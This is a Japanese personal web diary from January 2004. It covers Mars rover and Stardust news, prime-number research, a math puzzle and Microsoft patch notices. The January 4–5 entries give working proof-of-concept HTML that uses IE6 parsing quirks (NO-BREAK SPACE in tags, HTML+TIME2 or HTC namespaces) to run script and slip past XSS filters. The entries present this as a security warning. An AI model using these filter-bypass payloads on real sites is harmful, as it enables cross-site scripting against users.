2004年1月1日（木）
●頭の体操
今年もよろしくお願いします……ということで、虫食い算を作ってみました。除数
*1と被除数
*2が共に整数で、商
*3が循環小数
*4になっている割り算の虫食い算です。「□」に0〜9の数字を1つずつ入れて割り算を完成させてください。2桁以上の場所では先頭の「□」に0を入れることはできません。数字が1つも書いてありませんが、0を下ろす場所だけわかりやすいようにグレーに塗っておきました。
*1除数…割る数。 *2被除数…割られる数。 *3商…割り算の答え。 *4循環小数…小数点以下のあるところから決まった数字の並びが無限に繰り返される数で、繰り返しの先頭と末尾の数字の上に「・」を付けて表記される。
虫食い算
2004年1月2日（金）
●Stardust Has Shields Up
「Shields Up」はスタートレックシリーズで言うところの「防御シールドを張れ！」。1999年2月に打ち上げられ惑星間ダストの収集をしながら32億2000万kmの宇宙の旅を続けてきたNASAの宇宙探査機Stardustが、いよいよ日本時間の明日未明（3日午前4時40分頃）に彗星Wild 2に最接近します。Wild 2からわずか300kmの距離の彗星ダストの嵐の中を相対速度時速22000kmで通過しながらダストを収集するという過酷なミッションですが、塵から探査機本体を守るために機体の向きを変えて盾を構える（シールドを張る）など、準備は万端のようです。Stardustは集めた塵を抱えて2年後の2006年1月に地球に帰還する予定になっています。
Mission Status Center（Spaceflight Now）→
@nifty翻訳
Welcome to Stardust!（NASA JPL）
NASA SPACECRAFT HAS SHIELDS UP（12月31日）→
@nifty翻訳
関連
NASAが開発した最も軽い固体（2002年5月10日の日記）
2004年1月3日（土）
●Stardust
NASAの宇宙探査機Stardustは彗星Wild 2に240kmまで接近し、ダストの収集とWild 2の詳細な写真を撮影することに成功しました。
Welcome to Stardust!（NASA JPL）
NASA Spacecraft Makes Great Catch...Heads for Touchdown（1月2日）→
@nifty翻訳
Scientists elated with initial Stardust comet flyby results（Spaceflight Now、1月2日）→
@nifty翻訳
'Stardust' sweeps up space dust, snaps rare comet pics（CNN.com、1月2日）→
@nifty翻訳
●Spirit
昨年6月と7月に打ち上げられたNASAの2機の火星探査機のうち、先行しているSpiritのローバーが日本時間の明日4日午後1時35分頃に火星に着陸する予定になっています。日本の火星探査機「のぞみ」は機能不全のため火星を後にし、ESAのMars Expressは着陸船Beagle 2が消息不明になるなど予定通り進まないミッションが相次いでいますが、本命ともいえるNASAのミッションは予定通り進むことを期待したいです。NASAのもう1機の火星探査機Opportunityのローバーは1月25日に火星に着陸する予定になっています。
Mars Exploration Rover Mission: Home（NASA JPL）
America's Spirit Is Ready to Rock-n-Roll Martian Style Saturday Night→
@nifty翻訳
Mission Status Center（Spaceflight Now）→
@nifty翻訳
2004年1月4日（日）
●<a href="〜">の偽物
こんなの。
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<a href="blank.htm?:set id=? targetElement=? attributeName=backgroundImage to=url(javascript:alert(document.firstChild.outerHTML))>">blank.htm</a>
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上の例は<a href="〜">のaとhrefの間が空白（ ）ではなくNO-BREAK SPACE（ ）で区切られており、"〜"の中に怪しげな文字列が書かれています。
Opera 7.23ではNO-BREAK SPACEが空白と同様に扱われるので、上の例は<a>要素と見なされてハイパーリンクが表示されます。当然、クリックすればblank.htmが開きます。
IE6ではNO-BREAK SPACEがタグ名の一部と見なされます。そこで、次のようにして「a href="blank.htm?」をHTML+TIME2のnamespaceにすると、上の例は<set>要素と見なされて<set>要素自身のbackgroundImageプロパティにurl(javascript:alert(document.firstChild.outerHTML))を割り当てようとしてスクリプトが実行されてダイアログが表示されます。
HTMLファイル
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<html>
<head>
<xml:namespace prefix="a href="blank.htm?">
<?import namespace="a href="blank.htm?" implementation="#default#time2">
</head>
<body>
<a href="blank.htm?:set id=? targetElement=? attributeName=backgroundImage to=url(javascript:alert(document.firstChild.outerHTML))>">blank.htm</a>
</body>
</html>
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実験
この実験はアクティブスクリプトとActiveXコントロールの実行とアニメーションの表示が有効になっていなければ動作しません。
上のHTMLファイルを表示してみる
補足
上ではありふれたタグとして<a href="〜">を使いましたが、どのタグのどの属性でも同じことができます。XSS対策のための構文解析の際にOpera 7.23のようにNO-BREAK SPACEを空白と同様に扱うことにすると（xml:namespaceや?importを確実に排除しなければ）クロスサイトスクリプトを許してしまう可能性があるので要注意です。ZERO WIDTH SPACE（​）などでも同様です。
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<a name="blank.htm?:set id=? targetElement=? attributeName=backgroundImage to=url(javascript:alert(document.firstChild.outerHTML))>">
<img alt="blank.htm?:set id=? targetElement=? attributeName=backgroundImage to=url(javascript:alert(document.firstChild.outerHTML))>">
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●Spirit着地成功！
NASAの火星探査機Spiritのローバーが火星の地表から送信を開始したシグナルが予定の時刻に確認されました。
Mission Status Center（Spaceflight Now）→
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●火星の大地
Spiritから送られてきた最初の画像が公開されました。低解像度の画像ですが、荒涼とした火星の大地はもちろんのこと、そこにバウンドしながら着地するときに使用したエアバッグを潰してその上に太陽電池パネルを展開したSpirit自身の元気な姿をとらえた写真はやはり感動的です。高解像度のパノラマ写真は日本時間の明日までには公開されるそうです。
Jet Propulsion Laboratory（NASA）
Spirit Lands on Mars and Sends Postcards（NASA JPL News、1月4日）→
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Spirit Panorama
http://www.jpl.nasa.gov/mer2004/rover-images/jan-04-2004/2NN001EDN00CYL00P1502R000M1.jpg
View From Above Spirit on Mars
http://www.jpl.nasa.gov/mer2004/rover-images/jan-04-2004/send-p150x_pol.jpg
Spirit Front
http://www.jpl.nasa.gov/mer2004/rover-images/jan-04-2004/2F126468064RAD0000P1001R0M1.jpg
Ground
http://www.jpl.nasa.gov/mer2004/rover-images/jan-04-2004/ground.jpg
Behind Spirit
http://www.jpl.nasa.gov/mer2004/rover-images/jan-04-2004/2R126468012DNL0000P1002L0M1.jpg
First images from Spirit（Spaceflight Now、1月4日）
http://spaceflightnow.com/mars/mera/images/firstimage5_full.jpg
Spirit rover bounces to successful landing（Spaceflight Now、1月4日）→
@nifty翻訳
Scientist calls Spirit landing site 'a glorious place'（Spaceflight Now、1月4日）→
@nifty翻訳
NASA rover lands safely on red planet（CNN.com Space、1月4日）→
@nifty翻訳
火星着陸機「スピリット」から火星表面の画像が届く（CNN.co.jp サイエンス、1月4日）
火星探査車： スピリットが着陸に成功、初画像も ＮＡＳＡ（Mainichi INTERACTIVE、1月4日）
2004年1月5日（月）
●<a href="〜">の偽物の続き
HTML+TIME2の代わりに自前のHTCファイルを使うと、文字数の少ないハイパーリンクの偽物ができます。
HTMLファイル
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<html>
<head>
<xml:namespace prefix="a href="blank.htm?">
<?import namespace="a href="blank.htm?" implementation="ietest36.htc">
</head>
<body>
<a href="blank.htm?:a">blank.htm</a>
</body>
</html>
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HTCファイル
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<public:component tagname="a" />
<script>
alert(element.document.firstChild.outerHTML);
</script>
|
実験
上のHTMLファイルを表示してみる
きのう書いた
<a href="〜">の偽物の実験を使って、
星屑さんが（空白で誤魔化す以前に）HTML+TIME2だけでクロスサイトスクリプトを許してしまうというダメダメなシステムを発見してしまったそうです。管理者には報告済みとのことなので、そのシステムが早急に修正されることを望みます。
2004年1月6日（火）
●2003 Year-End Google Zeitgeist
Zeitgeist＝時代思潮。Googleの2003年のキーワードランキングが各部門それぞれ10位まで発表されています。総合1位は日本でも話題になっている「britney spears」、日本語の総合1位は「ガンダム」、日本語の女性名の1位は「小倉 優子」、日本語の男性名の1位は「ベッカム」。Googleほどの規模（サンプル数）になるとキーワードのリクエスト数はそれが話題になっている時期かどうかによってなめらかなカーブを描いて増減しそうに思えるのですが、必ずしもそうとは限らず、例えば
12月22日のカリフォルニアの地震の直後には「California Earthquake」というキーワードが瞬間的に大量にリクエストされたそうです。納得。
2003 Year-End Google Zeitgeist（Google Press Center）
2004年1月7日（水）
●火星の大地（高解像度カラー）
Spiritから届いた火星の大地の高解像度カラー写真が公開されました。先日のモノクロ写真ではわからなかった細かい岩石まで鮮明に写っていて圧巻です。
Jet Propulsion Laboratory
First Color Image from Spirit
http://photojournal.jpl.nasa.gov/jpegMod/PIA04995_modest.jpg … 550×606ピクセル、43KB
http://www.jpl.nasa.gov/mer2004/rover-images/jan-06-2004/P2302.jpg … 2500×2752ピクセル、4.0MB
http://photojournal.jpl.nasa.gov/jpeg/PIA04995.jpg … 3498×3851ピクセル、1.1MB
http://photojournal.jpl.nasa.gov/tiff/PIA04995.tif … 3498×3851ピクセル、40.4MB
Martian Horizon
http://www.jpl.nasa.gov/mer2004/rover-images/jan-06-2004/horizon-540-405.jpg … 540×405ピクセル、35KB
http://photojournal.jpl.nasa.gov/jpegMod/PIA05003_modest.jpg … 666×550ピクセル、49KB
http://photojournal.jpl.nasa.gov/jpeg/PIA05003.jpg … 1280×960ピクセル、146KB
http://photojournal.jpl.nasa.gov/tiff/PIA05003.tif … 1280×960ピクセル、3.7MB
Windtail
http://photojournal.jpl.nasa.gov/jpegMod/PIA04996_modest.jpg … 666×500ピクセル、48KB
http://photojournal.jpl.nasa.gov/jpeg/PIA04996.jpg … 1280×960ピクセル、136.2KB
http://www.jpl.nasa.gov/mer2004/rover-images/jan-06-2004/windtails.jpg … 1280×960ピクセル、985KB
http://photojournal.jpl.nasa.gov/tiff/PIA04996.tif … 1280×960ピクセル、3.7MB
Wind-polished rocks
http://photojournal.jpl.nasa.gov/jpegMod/PIA04997_modest.jpg … 640×480KB、35KB
http://photojournal.jpl.nasa.gov/jpeg/PIA04997.jpg … … 640×480KB、36KB
http://www.jpl.nasa.gov/mer2004/rover-images/jan-06-2004/smooth_rocks.jpg … 640×480ピクセル、254KB
http://photojournal.jpl.nasa.gov/tiff/PIA04997.tif … 640×480ピクセル、923KB
Spirit's Airbags Leave Trail
http://photojournal.jpl.nasa.gov/jpegMod/PIA04998_modest.jpg … 640×480ピクセル、30KB
http://photojournal.jpl.nasa.gov/jpeg/PIA04998.jpg … 640×480ピクセル、31KB
http://www.jpl.nasa.gov/mer2004/rover-images/jan-06-2004/airbag_marks.jpg … 640×480ピクセル、220KB
http://photojournal.jpl.nasa.gov/tiff/PIA04998.tif … 640×480ピクセル、923KB
Spaceflight Now
MISSION STATUS CENTER→
@nifty翻訳
FIRST COLOR IMAGE
CLOSE-UP VIEW OF TERRAIN
CLOSE-UP VIEW OF STREAKS IN SOIL
CLOSE-UP OF MARKS FROM AIRBAGS
NASA debuts first color picture from Mars rover（CNN.com、1月6日）→
@nifty翻訳
追加
First color image from Spirit rover thrills scientists（Spaceflight Now、1月6日）→
@nifty翻訳
火星探査機からカラー写真、高解像度に「衝撃と畏怖」（CNN.co.jp サイエンス、1月7日）
火星探査車： カラー写真を初公開 「土壌は粘着力がある」（Mainichi INTERACTIVE 国際、1月7日）
火星探査車スピリット、初のカラー写真を撮影（asahi.com サイエンス、1月7日）
●自動ダウンロードソフトの使用について
自動ダウンロードソフトを使用して、きのう1日で
X68000 LIBRARY内のHTMLファイル（のロガー）に少なくとも7000回以上もアクセスした人がいます。その人は
中部電力のコミュファ（名古屋市内にサービスエリアを展開しているISP）経由で未明に3110回アクセスした後、21時17分頃に再び現れて毎秒1ファイル以上のペースでアクセスを繰り返していました。22時22分頃までの1時間5分の間に3900回アクセスされたところでログが溢れてしまったので、それ以降に何回アクセスされたのかは不明です。
アクセス数が多くてもそれがすべて本当に必要なアクセスならばよいのですが、そもそもX68000 LIBRARY内にHTMLファイルはおよそ600個しかありません。すなわち、ファイル1個あたり平均11回以上もアクセスされたことになり、7000回のうち6400回はまったく無駄なアクセスだったことになります。自動ダウンロードソフトを使わないでほしいとまでは言いませんが、重複しているアドレスを省くくらいのことはクライアント側でやってほしいものです。さらに言えば、X68000 LIBRARYのロガーはSTUDIO KAMADAと共通（カウンタは別です）なのでX68000 LIBRARYとロガーはサーバが異なり、ダウンロードする対象のサーバを適切に制限していれば自動ダウンロードソフトのアクセスがログに記録されることはないはずです。サーバも制限せずにどこまでダウンロードしようとしていたのか疑問です。
HTTP_USER_AGENTはMozilla/4.0 (compatible; Getweb!/2.83 [I-O DATA Edition])となっていました。このGetweb!/2.83 [I-O DATA Edition]というソフトがどれほどの性能のものなのか知りませんが（HTTP_USER_AGENTの内容が偽装でないという保証もありませんが）、一般的な注意として自動ダウンロードソフトを使用するときはソフトの性能や設定に細心の注意を払い、サーバに余計な負荷をかけないように気を付けましょう。昔と違って最近のサーバでは1人が無茶をしたくらいですぐに他の人に迷惑がかかるということはないと思いますが、「自分1人くらいなら…」という自己中心的な考え方の人が大勢いた場合のことを考えるとやはり心配です。
関連
情報提供ありがとうございます。
ホームページ自動ダウンロードソフト「Getweb!」（web technology Corp.）
I-O 特集記事 index（IO-DATA） … 各種通信関連製品に付属のGetweb!がI-O DATA Editionと思われる
2004年1月8日（木）
●メモ
IE6の細かいバージョンを調べる方法。同じ方法でIE6以外のコンポーネント（Microsoft VMなど）のバージョンも調べることができる。
HTMLファイル
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<body style="behavior:url(#default#clientcaps)" onload="alert(document.body.getComponentVersion('{89820200-ECBD-11CF-8B85-00AA005B4383}','ComponentID'))"></body>
|
実験
上のHTMLファイルを表示してみる
2004年1月9日（金）
●Norton AntiVirus
最近うちのPCでアプリケーションの起動がもたつくことが多いと思っていたらこんな記事が。
シマンテック、定義ファイル更新によりPCが不安定になる不具合（impress INTERNET Watch、1月9日）
2004年1月10日（土）
●フォトニックフラクタル
最近話題のフォトニックフラクタル。このフラクタル立方体には「電磁波を蓄える」という不思議が性質があるそうな。もしかして「ピラミッドパワー」もその類なのか？
関連
エネルギーの空中採取可能？ 電磁波蓄える夢の宝箱開発（asahi.com サイエンス、1月7日）
2004年1月11日（日）
●火星の空
Spiritがパノラマカメラで着陸地点の南東の空を撮影した写真が公開されています。写真の左半分は午前中の遅い時刻、右半分は午後の早い時刻（いずれも着陸地点の現地時間）に撮影されたもので、太陽がフレームから遠ざかるにつれて空の色が暗くなってゆく様子がわかります。
Jet Propulsion Laboratory
Hazy Martian Skies
http://www.jpl.nasa.gov/mer2004/rover-images/jan-10-2004/horizon.jpg … 800×205ピクセル、43KB
http://photojournal.jpl.nasa.gov/jpegMod/PIA05037_modest.jpg … 1230×271ピクセル、20KB
http://marsrovers.jpl.nasa.gov/gallery/press/spirit/20040110a/P2217_P2218_Horizon-A8R1.jpg … 2938×752ピクセル、384KB
http://photojournal.jpl.nasa.gov/jpeg/PIA05037.jpg … 3416×752ピクセル、124KB
http://photojournal.jpl.nasa.gov/tiff/PIA05037.tif … 3416×752ピクセル、7.7MB
Spiritは後輪を伸ばして完全に立ち上がり、6つの車輪で火星の大地を走行する準備が整いつつあります。準備が最短で終わった場合は日曜日の夜にロックを解除、月曜日の夜に120度方向転換し、火曜日に北西の方角へ出発するそうです。
NASA's Spirit Stages Martian Stand-Up Performance（JPL News、1月10日）
●素因数分解
数列
3·10n-1 = { 29, 299, 2999, 29999, 299999, ... } の素因数分解表を n≤150 まで伸ばしました。未分解の数が18個残っています。
Factorizations of near-repdigit numbers
2004年1月12日（月）
●頭の体操の解き方と答え
1月1日の頭の体操の虫食い算の解き方と答えです。
解き方
この問題の商は循環部の長さが25桁の純循環小数なので、無限等比級数の和を使って分数に直すと次のようになります。
(循環部)*(1/10
25 + 1/10
50 + 1/10
75 + …) = (循環部)/(10
25-1)
10
25-1は25桁の数ですが、問題の除数は11桁しかないので、約分されているものと考えて10
25-1の約数の中から11桁のものを除数の候補として挙げることにします。
掲示板に「ある数表が必要」と書きましたが、10
25-1の約数を求めるために10
25-1の素因数分解結果が必要になります。10
25-1の素因数分解結果は次の通りです。
10
25-1 = 3
2 * 41 * 271 * 21401 * 25601 * 182521213001
素因数分解結果から10
25-1の約数は96個あることがわかりますが、桁数が11桁になるものを探せばよいので全部計算してみる必要はありません。11桁の約数は次の2つだけです。
41 * 21401 * 25601 = 22463367041
3 * 41 * 21401 * 25601 = 67390101123
これで除数の候補が2つに絞られました。
ところで、問題の4〜6行目を見ると、(下10桁が0である12桁の数)-(除数×1桁で12桁の数)の結果が9桁になっています。これは(除数×1桁で12桁の数)の上から3桁目が9であることを意味しています。上の2つの除数の候補を1〜9倍して12桁で上から3桁目が9になるものを探すと、次の3通りあることがわかります。
22463367041 * 8 = 179706936328
67390101123 * 4 = 269560404492
67390101123 * 8 = 539120808984
それぞれ(下10桁が0である12桁の数)の上2桁が18、27、54となりますが、問題の2〜4行目の(被除数×100)-(除数×1桁で11桁の数)の結果がこれらの2桁の数になるためには(除数×1桁で11桁の数)の下2桁がそれぞれ82、73、46でなければなりません。これを満たす組み合わせは次の1通りしかありません。
44926734100 - 22463367041 * 2 = 44926734100 - 44926734082 = 18
これで除数は22463367041、被除数は449267341が最終的な候補として残りました。後は実際に枠に入れてみて合っているかどうか確かめるだけです。
答え
虫食い算の答え
●ファンタジー職業適性診断
hoshikuzuさんから。
ファンタジー職業適性診断の結果は『賢者』でした。賢者というと「役に立ちそうに見えて実はあまり役に立たない」というイメージがあるのですが、まさにその通りであります。あぅー。
戦士レベル 3 天性の才能あり
盗賊レベル -5 あきらめましょう
僧侶レベル 4 天性の才能あり
魔法使いレベル 8 天性の才能あり
占い師「そなたに最も似合う職業は、万能だがひたすら地味な『賢者』じゃ。
戦士と僧侶と魔法使いの特徴を併せ持ち、盗賊的な『インパクト』に欠けるタイプじゃな。
魔法使い的性質が強めなので、『慎重』で『丁寧』だが『寡黙』なところが特徴じゃ。
最初に任務を与えられると綺麗にこなすが、ゼロから何かを築き上げることが苦手なようじゃの。
他人の尻拭い的な役割を押し付けられないように、断るときは断ることをお勧めするぞ。」
(職業メモ)攻撃魔法も治癒魔法も使いこなせる万能術者。身体能力も高めだが、前線には立たないほうがいい。
ファンタジー職業適性診断 < TRPGが好きっ!.com（相楽さん）
2004年1月13日（火）
●フラクタル正8面体
フラクタル正8面体の第6項です。小さな正8面体の数は46656個。
2004年1月14日（水）
●MS04-001
修正プログラムの内容
ISA Server の重要な更新
脆弱性の影響
Microsoft Internet Security and Acceleration Server 2000 H.323 フィルタの脆弱性により、リモートでコードが実行される (816458)
最大深刻度
緊急
影響を受けるソフトウェア
Microsoft Internet Security and Acceleration Server 2000
Microsoft Small Business Server 2000 (Microsoft ISA Server 2000 が含まれるため)
Microsoft Small Business Server 2003 (Microsoft ISA Server 2000 が含まれるため)
絵でみるセキュリティ情報
絵でみるセキュリティ情報 MS04-001（Microsoft Security、1月14日）
詳細情報
MS04-001: Microsoft Internet Security and Acceleration Server 2000 H.323 フィルタの脆弱性により、リモートでコードが実行される (816458)（Microsoft TechNet、1月14日）
ダウンロード
WindowsUpdate（Microsoft）
●MS04-002
修正プログラムの内容
Exchange Server の重要な更新
脆弱性の影響
Exchange Server 2003 の脆弱性により、権限が昇格する
最大深刻度
警告
影響を受けるソフトウェア
Microsoft Exchange Server 2003
絵でみるセキュリティ情報
絵でみるセキュリティ情報 MS04-002（Microsoft Security、1月14日）
詳細情報
MS04-002: Exchange Server 2003 の脆弱性により、権限が昇格する (832759)（Microsoft TechNet、1月14日）
ダウンロード
WindowsUpdate（Microsoft）
●MS04-003
修正プログラムの内容
Windows の重要な更新
脆弱性の影響
MDAC 機能のバッファ オーバーランにより、コードが実行される
最大深刻度
重要
影響を受けるソフトウェア
Microsoft Data Access Components 2.5
Microsoft Data Access Components 2.6
Microsoft Data Access Components 2.7
Microsoft Data Access Components 2.8
以上を含むWindows製品
Microsoft Windows XP
Microsoft Windows 2000
Microsoft Windows Millennium
Microsoft Windows Server 2003
Microsoft Windows NT 4.0 Option Pack
Microsoft SQL Server 2000
絵でみるセキュリティ情報
絵でみるセキュリティ情報 MS04-003（Microsoft Security、1月14日）
詳細情報
MS04-003: MDAC 機能のバッファ オーバーランにより、コードが実行される (832483)（Microsoft TechNet、1月14日）
ダウンロード
WindowsUpdate（Microsoft）
●修正プログラムとIEのセキュリティホールについて
Microsoftから今年最初の修正プログラムが公開されましたが、MS04-003までにIEの修正プログラムは含まれていません。Windows XP Home Edition SP1 + IE6 SP1（MS04-003までのすべての重要な更新を適用済み）の環境で、
IEのセキュリティホール（11月28日の日記）、
IE6の危険な不具合（12月10日の日記）、
侵入実験（12月17日の日記）のいずれの実験も（対策をとらなければ）以前と同様に動作することを確認しました。引き続き注意が必要です。
●素因数分解
数列
5·10n-1 = { 49, 499, 4999, 49999, 499999, ... } の素因数分解表を n≤150 まで伸ばしました。未分解の数が18個残っています。
Factorizations of near-repdigit numbers
●お知らせ
STUDIO KAMADAのミラーとX68000 LIBRARYのミラーは
tok2.comの大規模メンテナンスのため16日まで閲覧できません。
2004年1月15日（木）
●素因数分解
数列
(10n+53)/9 = { 7, 17, 117, 1117, 11117, ... } の素因数分解表を n≤150 まで伸ばしました。未分解の数が18個残っています。
Factorizations of near-repdigit numbers
●Spirit発進！
Spiritが6つの車輪で火星の大地を走り始めました。
Mission Status Center（Spaceflight Now）→
@nifty翻訳
Spirit Rolls All Six Wheels onto Martian Soil（JPL News、1月15日）→
@nifty翻訳
Six-wheeling on Mars: Rover Spirit drives off lander（Spaceflight Now、1月15日）→
@nifty翻訳
火星探査車： スピリット 地表に下ろす作業にＮＡＳＡ成功（Mainichi INTERACTIVE、1月15日）
無人探査車「スピリット」、火星に降り立つ（CNN.co.jp サイエンス、1月15日）
NASA rover rolls onto Mars（CNN.com Space、1月15日）→
@nifty翻訳
2004年1月16日（金）
●(8*104417-71)/9 is prime (4417 digits)
near-repdigitな素数の世界記録は10万桁を超えていますからこの記録は微々たるものですが、きょう4417桁のnear-repdigitな素数を見つけました。8を4416個並べて右端に1を付け足した数です。式で書くと(8*10
4417-71)/9となります。この数の素数性は自作のpock021.cを使って証明されました。pock021.cで証明された（既知ではなかった）素数の中で最も大きかったものは
2003年9月3日に証明された2566桁の(2*10
2566-11)/9でしたが、1800桁以上更新されました（既知だった素数を含めると3021桁の2*10
3020-1が最大でしたがこれも上回りました）。余談ですが、gcd(p
(n-1)/2-1,n)=1を満たす最小の素数pが23というのも自己新記録です。
(8*10^4417-71)/9 is prime (4417 digits)
2004年1月17日（土）
●(8*10^4417-71)/9
きのう見つけた素数についてですが、もしも88...881の系列で4000桁を超える素数を探した人が過去にいなければ「とてもマイナーな世界新記録」ということになりますが、マイナーすぎて資料が見つからないので世界新記録かどうかはわかりません。とりあえず
The Prime Pages (prime number research, records and resources)（Chris K. Caldwellさん）のデータベースには88...881の系列の素数が登録されていないようだったので記念に登録しておきました。しかし、やはり4417桁では小さすぎてこのデータベースには場違いな感がなきにしもあらず…。
The Prime Database: (8*10^4417-71)/9（The Prime Pages）
2004年1月18日（日）
●その後
(8*10^4417-71)/9の話の続きですが、Chris K. Caldwellさんのデータベースには小さすぎたとはいえ、書いてみるものですね。公開されていないレピュニットの素因数を私が持っている可能性を考えてメールをくださった方から、逆に私が持っていなかった巨大な素因数表の入手方法を教えていただくことができました。
●素因数分解
数列
(8·10n-71)/9 = { 1, 81, 881, 8881, 88881, ... } の素因数分解表を n≤150 まで伸ばしました。未分解の数が18個残っています。
Factorizations of near-repdigit numbers
2004年1月19日（月）
●素数探索プロジェクト
Matさんから。徳島大学で今月から稼動し始めた分散コンピューティングによる本格的な素数探索プロジェクトがあります。ここでは指数が2^17で100万桁以上のGeneralized Fermatの素数探索が行われています。
素数探索プロジェクト（徳島大学工学部知能情報工学科・森井研究室）
The Top Twenty: Generalized Fermat（Chris K. Caldwellさん）
The Largest Known Primes（Chris K. Caldwellさん）
2004年1月20日（火）
●素数発見メモ
1と7の間に6を2626個挟んだ2628桁の数 (5·10
2627+1)/3 は素数ということで確定。near-repdigitでもpalindromeでもないところがいまいち面白味に欠けるけど。
●ほころび
撮影日：きょう。ロケ地：柳瀬川沿いの遊歩道（東京都清瀬市中里）。
●刺身と寿司
表面がでこぼこで埃っぽいので研究材料に選ばれなかった火星の岩石の名前がSashimiとSushi。
Hungry for Rocks（NASA JPL MER、1月19日）→
@nifty翻訳
http://www.jpl.nasa.gov/mer2004/rover-images/jan-19-2004/011904-3.jpg … 800×800ピクセル、150KB
●アディロンダック
最初の研究材料に選ばれてSpiritが向かった火星の岩石の名前。Adirondackはニューヨーク州にある地名だが、もともとネイティブアメリカンの言葉で"They of the great rocks."という意味。
"They of the Great Rocks"（NASA JPL MER、1月19日）→
@nifty翻訳
http://www.jpl.nasa.gov/mer2004/rover-images/jan-19-2004/011904-2.jpg … 800×800ピクセル、200KB
関連
AdirondackNET - Your complete guide to the Adirondack Region of New York - Lake George, Glens Falls, Queensbury, Bolton Landing, Diamond Point, Schroon Lake, warrensburg
2004年1月21日（水）
●JScript.Encodeを手っ取り早くデコードする
JScript.Encodeの暗号化はお世辞にも複雑とは言えないのでデコーダを作るのは（法的な問題は別にして技術的には）簡単ですが、符号が短いときはデコーダを用意しなくても適当なイベントに割り当ててイベントの内容を表示させるだけでスクリプトを読むことができます。VBScript.Encodeでも同じです。
HTMLファイル
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<body onclick="#@~^HAAAAA==C^+.D`9Wm!:UYc4GNHRGU1Vk1V#tQoAAA==^#~@"
onload="#@~^HAAAAA==C^+.D`9Wm!:UYc4GNHRGU1Vk1V#tQoAAA==^#~@"
language="JScript.Encode">
</body>
|
実験
上のHTMLファイルを表示してみる
2004年1月22日（木）
●55...551
(5·10
n-41)/9 = { 1, 51, 551, 5551, 55551, ... } の系列で n = 12, 13, 609 に次ぐ素数候補を探索中。
2004年1月23日（金）
●Spirit
岩石の調査を始めた火星探査ローバーSpiritから送られてくる信号に深刻な異常が発生しており、予定の調査を続行できない状態になっているようです。日本時間の23日午前2時前に届いたわずかな信号は地球から送られたコマンドがSpiritに届いていることを示していたとのことで、望みを持ちながら原因究明と復旧の努力が続けられています。
Mission Status Center（Spaceflight Now、最新情報）→
@nifty翻訳
Spirit rover suffers 'serious anomaly'（Spaceflight Now、1月22日）→
@nifty翻訳
●精進湖から望む富士山
撮影日：きょう。ロケ地：精進湖。サイズ：4000×600ピクセル、530KB。
●精進湖から望む富士山＜裸眼立体視（交差法）＞
1台のデジカメで2回に分けて撮影したので雲が少し動いてしまいましたが、湖面の奥行きを感じることができると思います。
撮影日：きょう。ロケ地：精進湖。サイズ：960×320ピクセル、170KB。
●本栖湖から望む富士山
頂上付近に少し雲がかかってしまいましたが、空気が澄んでいて絶景でした。ただ、「本栖湖の逆さ富士」を見逃した（ことに後で気付いた）のが心残り。
撮影日：きょう。ロケ地：本栖湖。サイズ：800×600ピクセル、70KB。
●XM6 version 1.50
PI.さんによるWindows用X68000EXPERTエミュレータXM6のversion 1.50が公開されました。
ＰＩ． Home page（PI.さん）
X68000エミュレータ XM6
2004年1月24日（土）
●Spirit / Opportunity
水曜日から続いていた通信の異常はやや回復してSpiritから128 kilobits/secondの通信速度で73 megabitsの電源系の情報が送られてきたものの、いくつかのフレームがランダムなデータで埋め尽くされており復旧にはまだ時間がかかりそうな気配。NASAのもう1機の火星探査機Opportunityは日本時間の明日25日14時05分に予定されている火星着陸へ向けて順調に飛行中。
Mission Status Center（Spaceflight Now、最新情報）→
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Mars Exploration Rover Mission Status（NASA JPL Mars Exploration Rover Mission: Press Releases、1月23日）→
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2004年1月25日（日）
●Opportunity
NASAの火星探査機Opportunityは予定通り着陸に成功し、着陸地点の周辺を撮影した画像を次々と地球へ送ってきています。
Opportunity: All 77 Raw Images（NASA JPL MER）
2004年1月26日（月）
●"Opportunity has scored a 300-million-mile hole-in-one!"
科学主任Steve Squyres氏の言葉。Spiritから1万kmほど離れた地点に着陸したOpportunityの周囲には、かつてない重要な結果をもたらすに違いない優れた研究材料がありそうだ。
Mission Status Center（Spaceflight Now、最新情報）→
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Opportunity made 'interplanetary hole-in-one'（CNN.com Space、1月25日）→
@nifty翻訳
Meridiani Planum in Color（NASA JPL MER、1月25日）→
@nifty翻訳
http://photojournal.jpl.nasa.gov/jpegMod/PIA05144_modest.jpg … 514×646ピクセル、35KB
http://www.jpl.nasa.gov/mer2004/rover-images/jan-25-2004/Pancam_Sol1_Postcard-med.jpg … 636×800ピクセル、60KB
http://photojournal.jpl.nasa.gov/tiff/PIA05144.tif … 2319×2915ピクセル、20.3MB
2004年1月27日（火）
●S/2003 J22
S/2003 J22が新たに木星の衛星に加わり、木星の衛星の数が62個になりました。現在までに確認されている太陽系の惑星の衛星の数は、地球が1個、火星が2個、木星が62個、土星が31個、天王星が27個、海王星が13個、冥王星が1個。合計137個。
Scott S. Sheppard
Natural Satellite Discovery Data（NASA JPL SSD、1月26日）
2004年1月28日（水）
●チャレンジャー事故から18年、コロンビア事故からもうすぐ1年
1986年1月28日、スペースシャトル・チャレンジャーが打ち上げ直後に爆発し、乗組員7人全員が死亡。
2003年2月1日、スペースシャトル・コロンビアが大気圏再突入後に空中分解し、乗組員7人全員が死亡。
●Mydoom
スパムとワームがたくさん届くのはいつものことだけれど、今回はエラーメールの割合がいつもよりも多いのが嫌な感じ。
Mydoomの感染速度は過去最大級、標的となったSCOは犯人逮捕に懸賞金（impress INTERNET Watch、1月28日）
感染広がる『マイドゥーム』、標的はリナックス著作権問題のSCO（HOTWIRED JAPAN、1月28日）
SCO、『マイドゥーム』の犯人情報に25万ドルの謝礼金（HOTWIRED JAPAN、1月28日）
ネットワーク・セキュリティ・ニュース（篠田さん）
2004年1月29日（木）
●「血の出る松の跡」
東所沢病院と滝の城址公園の間の坂道の途中にあるちょっと怖い石碑。滝の城は豊臣秀吉の軍が北条氏の小田原城を攻めたとき浅野長政によって落とされ、そのとき流された多くの血を吸った松に傷をつけると血のような赤い汁が出たのだとか。
撮影日：きょう。ロケ地：滝の城址公園→
MapionBB。
参考
所沢市立柳瀬小学校
滝の城址
さいたまの歴史散歩
滝の城
2004年1月30日（金）
●素数探索関連
わ た し の 素 数（Matさん）
素数判定しやすい系列の数に限って言えば数1000桁程度の素数も比較的簡単に見つかるので、興味のある人は挑戦してみると面白いかも知れません。私が素因数分解の対象にしているNear-repdigitの仲間にも素数判定しやすい系列がいくつかあるのですが、それらは既に巨大な素数が報告されているので、どうやって判定するかは後で考えることにしてあえて判定しにくい系列から素数候補を探しています。
2004年1月31日（土）
●Opportunity発進！
